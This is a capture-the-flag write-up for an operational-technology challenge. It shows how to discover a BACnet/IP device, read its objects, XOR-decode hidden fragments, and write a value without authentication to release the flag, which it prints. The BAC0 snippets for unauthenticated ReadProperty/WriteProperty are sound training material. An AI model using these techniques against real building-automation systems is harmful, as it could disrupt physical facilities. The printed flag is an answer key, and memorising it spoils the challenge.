138 lines
3.6 KiB
Markdown
138 lines
3.6 KiB
Markdown
# Schumann Resonance
|
||
|
||
| Field | Value |
|
||
|-------|-------|
|
||
| Category | OT |
|
||
| Difficulty | Medium |
|
||
| Points | 400 |
|
||
| Author | Eun0us |
|
||
| CTF | Espilon 2026 |
|
||
|
||
---
|
||
|
||
## Description
|
||
|
||
The building management system at Tachibana General Laboratories runs BACnet/IP for
|
||
environmental monitoring. Sub-basement 7 was decommissioned years ago, but its BACnet
|
||
device is still broadcasting.
|
||
|
||
The device description mentions "Schumann Monitoring Station." Some objects carry unusual
|
||
properties.
|
||
|
||
Enumerate the device. Read every property. The resonance frequency holds the key.
|
||
|
||
- BACnet/IP: `udp/<host>:47808`
|
||
|
||
Format: **ESPILON{flag}**
|
||
|
||
---
|
||
|
||
## TL;DR
|
||
|
||
Discover BACnet device 783 via WhoIs (device ID = Schumann frequency 7.83 Hz × 100).
|
||
XOR key = `0x0783`. Decode 7 fragment descriptions (hex-encoded XOR'd strings) to reconstruct
|
||
the flag. Alternatively: write `7.83` to AnalogValue:10 to activate the Resonance_Lock and
|
||
have the flag written automatically to CharStringValue:200.
|
||
|
||
---
|
||
|
||
## Tools
|
||
|
||
| Tool | Purpose |
|
||
|------|---------|
|
||
| Python 3 + `BAC0` | BACnet/IP discovery and read/write |
|
||
| XOR arithmetic | Decode fragment hex strings |
|
||
|
||
---
|
||
|
||
## Solution
|
||
|
||
### Step 1 — Device discovery
|
||
|
||
Send a BACnet WhoIs broadcast to port 47808:
|
||
|
||
```python
|
||
import BAC0
|
||
|
||
bacnet = BAC0.lite(ip="<YOUR_IP>/24")
|
||
bacnet.whois()
|
||
# → Device:783 "Tachibana-ENV-SB7"
|
||
```
|
||
|
||
Device instance **783** → 7.83 Hz → **Schumann Resonance**.
|
||
|
||
> 📸 `[screenshot: BACnet WhoIs response showing Device:783]`
|
||
|
||
### Step 2 — Enumerate objects
|
||
|
||
Read the object-list from Device:783:
|
||
|
||
| Object | Name | Note |
|
||
|--------|------|------|
|
||
| AnalogInput:0-3 | Temp, Humidity, Pressure, CO2 | Normal sensors |
|
||
| AnalogInput:4 | EMF_Resonance = 7.83 | Description = "PROTOCOL_SEVEN_CARRIER" |
|
||
| AnalogValue:10 | Freq_Multiplier = 0.0 | Writable! Hint: "set to Schumann harmonic" |
|
||
| AnalogValue:11-17 | Fragment_0 through Fragment_6 | Descriptions = hex strings |
|
||
| BinaryValue:100 | Resonance_Lock | inactive |
|
||
| CharStringValue:200 | Research_Log | "Access Denied" |
|
||
|
||
> 📸 `[screenshot: object list showing Fragment objects and their hex descriptions]`
|
||
|
||
### Step 3 — Identify the XOR key
|
||
|
||
Device instance = 783 → 7.83 Hz → XOR key = `0x0783` (2-byte big-endian).
|
||
|
||
Key bytes: `[0x07, 0x83]` applied cyclically.
|
||
|
||
### Step 4 — Decode fragments (manual path)
|
||
|
||
Read the `description` property of each Fragment AnalogValue:
|
||
|
||
```python
|
||
fragments = []
|
||
for i in range(7):
|
||
desc = bacnet.read(f"783 analogValue {11+i} description")
|
||
enc = bytes.fromhex(desc)
|
||
key = (0x07, 0x83)
|
||
dec = bytes(b ^ key[j % 2] for j, b in enumerate(enc))
|
||
fragments.append(dec.decode())
|
||
|
||
flag = "".join(fragments)
|
||
print(flag)
|
||
```
|
||
|
||
> 📸 `[screenshot: decoded fragment strings concatenating into the flag]`
|
||
|
||
### Step 5 — Activate (alternative path)
|
||
|
||
Write the Schumann frequency to AnalogValue:10:
|
||
|
||
```python
|
||
bacnet.write(f"783 analogValue 10 presentValue 7.83")
|
||
```
|
||
|
||
This sets BinaryValue:100 (Resonance_Lock) to active and writes the flag to
|
||
CharStringValue:200 (Research_Log).
|
||
|
||
Read the flag:
|
||
|
||
```python
|
||
flag = bacnet.read(f"783 characterstringValue 200 presentValue")
|
||
print(flag)
|
||
```
|
||
|
||
> 📸 `[screenshot: Research_Log returning the flag after Resonance_Lock activation]`
|
||
|
||
### Key concepts
|
||
|
||
- BACnet device instance 783 = `7.83` × 100 — the Schumann resonance frequency (7.83 Hz)
|
||
- `AnalogInput:4` description "PROTOCOL_SEVEN_CARRIER" is a lore reference and key derivation hint
|
||
- BACnet has no authentication — ReadProperty/WriteProperty work without credentials
|
||
- Two solve paths: manual fragment decode OR write the magic value and read the result
|
||
|
||
---
|
||
|
||
## Flag
|
||
|
||
`ESPILON{sch0m4nn_r3s0n4nc3_783}`
|